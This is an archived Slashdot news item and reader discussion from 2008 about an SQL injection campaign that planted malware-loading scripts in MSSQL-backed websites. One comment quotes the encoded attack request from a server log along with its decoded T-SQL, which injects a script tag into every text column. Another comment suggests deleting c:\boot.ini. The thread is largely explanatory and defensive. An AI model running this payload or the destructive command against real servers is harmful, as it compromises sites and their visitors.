Become a fan of Slashdot on Facebook


Forgot your password?
Databases Security The Internet

New SQL Injection Attack Fuses Malware, Phishing 202

PainMeds tips a recent post in Secure Computing's research blog describing a new SQL injection attack that had infected thousands of MSSQL-based web servers by last weekend, turning them into malware delivery systems. The attack apparently rewrites the server's Web pages to include JavaScript which pushes malware to the visitor as if it were from the genuine site. Sites using Sybase might possibly be vulnerable, as it uses the same exploited syntax that MSSQL does. The post includes an example of the attack. Unlike most malware attacks, this one appears to originate from the site the user is actually visiting. From the blog: "'Similar to phishing, this attack takes advantage of the website visitor's trust in the site they are visiting. Instead of phishing for information, however, malware is sent to the client, which the client has a higher likelihood of accepting being from a trusted site... These web pages are associated with Web sites from around the world and supplying various content — including government sites, sales sites, real estate sites, and financial information sites among others."
This discussion has been archived. No new comments can be posted.

New SQL Injection Attack Fuses Malware, Phishing

Comments Filter:
  • by Anonymous Coward on Tuesday August 12, 2008 @04:17PM (#24574291)

    Our web apps got hammered with this over the weekend... our simple but effective SQL injection block kept them out, but it is also comforting to know that even if it had not, it would not have worked on good ol' MySQL 4.1

    Also, for what its worth, all of the IPs (100s of them used in the course of 3 days) trace back to ISPs based in Beijing. Hmmm...

  • Re:Not really new (Score:3, Informative)

    by Bert64 ( 520050 ) < ... NBSDom minus bsd> on Tuesday August 12, 2008 @04:23PM (#24574387) Homepage

    Yes, nothing new at all...
    People used to do this by compromising the site in other ways, and inserting their malware rather than defacing the site... Some subtle malware tagged to a site is a lot less obvious than a blatant defacement so it lasts a lot longer and gets more hits.

  • Am I in a time warp? (Score:5, Informative)

    by johnathan ( 44958 ) on Tuesday August 12, 2008 @04:23PM (#24574393) Homepage
    This attack has been going on for months... []
  • Re:fixes? (Score:3, Informative)

    by Tridus ( 79566 ) on Tuesday August 12, 2008 @04:33PM (#24574549) Homepage

    Take a look at the article from this comment, it has a "use at your own risk" procedure. You could probably modify it appropriately. []

  • Not new at all (Score:4, Informative)

    by dzfoo ( 772245 ) on Tuesday August 12, 2008 @04:39PM (#24574635)

    This trojan, called Asprox or Danmec, has been around for a few years. It was originally intended as a Spam distribution system but I believe that sometime in 2007 an SQL Injection tool was installed via its botnet. It has been doing the rounds every so often on the Internet since at least January. [] []


  • So, to recap... (Score:1, Informative)

    by seanonymous ( 964897 ) on Tuesday August 12, 2008 @04:48PM (#24574763)
    Users of Microsoft operating system who use Microsoft's browser may be at risk from malware served by infected Microsoft servers.
  • by Rearden82 ( 923468 ) on Tuesday August 12, 2008 @04:52PM (#24574809)
    I know MySQL permits un-quoted integers, as in "SELECT * from foo where foo_id=42".

    In that case your first example would be adding an opening quote, so the injection would fail. Perhaps MSSQL is even more lenient and lets you get away with un-quoted strings as well.
  • Re:fixes? (Score:3, Informative)

    by johnathan ( 44958 ) on Tuesday August 12, 2008 @05:00PM (#24574933) Homepage
    I've used that procedure for a couple clients with success. There are two things you have to consider, since if you've been hit once, you've probably been hit multiple times.
    1. Some fields have probably hit their maximum length, causing the last injected script tag to be truncated, so this procedure will miss them. Clean these up manually so that the field ends in "</script>" (the closing tag for the previous injected script tag). Of course, you could just manually clean up the whole field at this point, but I found it easier to just fix the end and then let the SQL script do the rest of the work.
    2. You'll need to execute the procedure multiple times, since each time will only remove one script tag from each field.
  • Re:DELETE FROM USER* (Score:2, Informative)

    by Anonymous Coward on Tuesday August 12, 2008 @05:28PM (#24575329)

    Only starting in SQL Server 2005 iirc... Do you have any idea how many people use MSDE 2000 still??? It's scary.

    Absolutely not true. xp_cmdshell is denied by default in MSDE 2000 (and sql server 2000).

    Incidentally, there is nothing inherently wrong with MSDE from a security standpoint. MS still releases patches for it. MSDE is a solid, ACID-compliant database (unlike a popular open-source database that also starts with the letter M). MSDE is the same robust database engine as its bigger brother, sql server 2000.

    MSDE does have size limits (2 gig per database) and performance limits (more than 5 concurrent threads and it starts to slow down), but if those limits are acceptable for your application it's great.

  • Re:DELETE FROM USER* (Score:3, Informative)

    by LordSnooty ( 853791 ) on Tuesday August 12, 2008 @05:47PM (#24575547)
    Either way, blitzing the server is probably the worst way to turn it into a malware delivery bot.
  • Re:Not really new (Score:5, Informative)

    by jtcm ( 452335 ) on Tuesday August 12, 2008 @07:14PM (#24576479)

    Many SQL Calls are decades old and were copied and pasted assumed what isn't broke don't fix.

    All too true. My company maintains some sites that were originally written during the 90s by a different web consulting company. The sites were happily chugging along and serving up pages for upwards of 10 years, until last weekend when they were hit with the exact attack described in this article. Fortunately, the attack was noticed early and we were able to fix the problem quickly, resulting in a minimal impact on our client's users.

    I wasn't involved much with the emergency fixes, but our team ended up installing a product called dotDefender [] that seems to have done a fantastic job of filtering out malicious requests. It inspects GET and POST data _before_ it's passed on to the vulnerable application and stops the request if it detects things like SQL injection, cross-site scripting, directory traversal, or other attacks. If you use IIS6 and have a lot of vulnerable code; or, like us, some of the bad code is contained within compiled libraries for which you don't possess the original source, I'd definitely recommend checking it out.

    Alternatively, there's a free ISAPI filter [] that will perform similar pre-application-level checking of GET and POST data, though I believe it only checks for SQL injection, and I can't vouch for it since I've never seen it in action.

    Unfortunately, I don't believe either of these solutions work with IIS7, so if your sites run on IIS7, I wish you luck!

  • Re:DELETE FROM USER* (Score:4, Informative)

    by X0563511 ( 793323 ) on Tuesday August 12, 2008 @07:19PM (#24576531) Homepage Journal

    More likely to work:

    del c:\boot.ini

    Then, next time it's rebooted... it doesn't come up. It's not something noticeable right away.

  • by the_olo ( 160789 ) on Tuesday August 12, 2008 @09:23PM (#24577501) Homepage

    I can see those in my webserver's logs dating back to 23rd of July: - - [23/Jul/2008:18:59:01 +0200] "GET /MYPATH/MYSCRIPT?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4...%20AS%20CHAR(4000));EXEC(@S); HTTP/1

    Oh, and the hexes decode to:

    DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select, from sysobjects a,syscolumns b where and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src=""></script><!--'' where '+@C+' not like ''%"></title><script src=""></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    (phew, I'm lucky to get that through Slashdot's filter!)

    You can easily decode that from your webserver logs even on MySQL, just take into account the different CAST syntax:

    mysql> select CAST(0x444543....36F72 AS CHAR(4000));

  • by burnin1965 ( 535071 ) on Tuesday August 12, 2008 @11:09PM (#24578237) Homepage

    the developers had never thought to sanitize their data

    Oh it goes well beyond sanitizing input data, why were they not utilizing the least privilige principle [] in their application design? Allowing an unauthenticated user to use a database user with full privileges to the database tables when only selects are required on specific tables is asking for trouble.

    In most cases I suspect the developers are, well, just lazy. When presented with a ready made least privilege PHP application design [] the response by multiple developers was "I can just recover the website from a database backup, least privilege is not necessary", I kid you not.


  • Re:DELETE FROM USER* (Score:0, Informative)

    by ribasushi ( 1264638 ) on Wednesday August 13, 2008 @02:14AM (#24579213)
    I at least can not:

    rabbit@Thesaurus:~$ mysql ccs_data
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A

    Welcome to the MySQL monitor. Commands end with ; or \g.
    Your MySQL connection id is 205
    Server version: 5.0.51a-11-log (Debian)

    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

    Query OK, 0 rows affected (0.00 sec)

    mysql> describe schema_version;
    | Field | Type | Null | Key | Default | Extra |
    | installed | datetime | NO | PRI | NULL | |
    | version | varchar(20) | NO | | NULL | |
    2 rows in set (0.00 sec)

    mysql> insert into schema_version values ('2008-02-30', 'abcd');
    ERROR 1292 (22007): Incorrect datetime value: '2008-02-30' for column 'installed' at row 1
    mysql> insert into schema_version values ('2007-02-29', 'abcd');
    ERROR 1292 (22007): Incorrect datetime value: '2007-02-29' for column 'installed' at row 1
    mysql> insert into schema_version values ('2007-02-28', '12345678901234567890extra');
    ERROR 1406 (22001): Data too long for column 'version' at row 1
    mysql> insert into schema_version values ('2007-02-28', '12345678901234567890');
    Query OK, 1 row affected (0.00 sec)

    mysql> quit

    Some more reading for the uninformed: [] []

  • by Jack Hughes ( 5351 ) on Wednesday August 13, 2008 @10:08AM (#24582545) Homepage
    .. For the last three months?

    The attack is ancient.

    The method of delivery is a bit newer - a few months ago it all got a lot more efficiently delivered - it's pretty mainstream knowledge, even this article [] from the paper edition of SC Magazine talks about it - and their copy deadlines will be from weeks ago.

panic: kernel trap (ignored)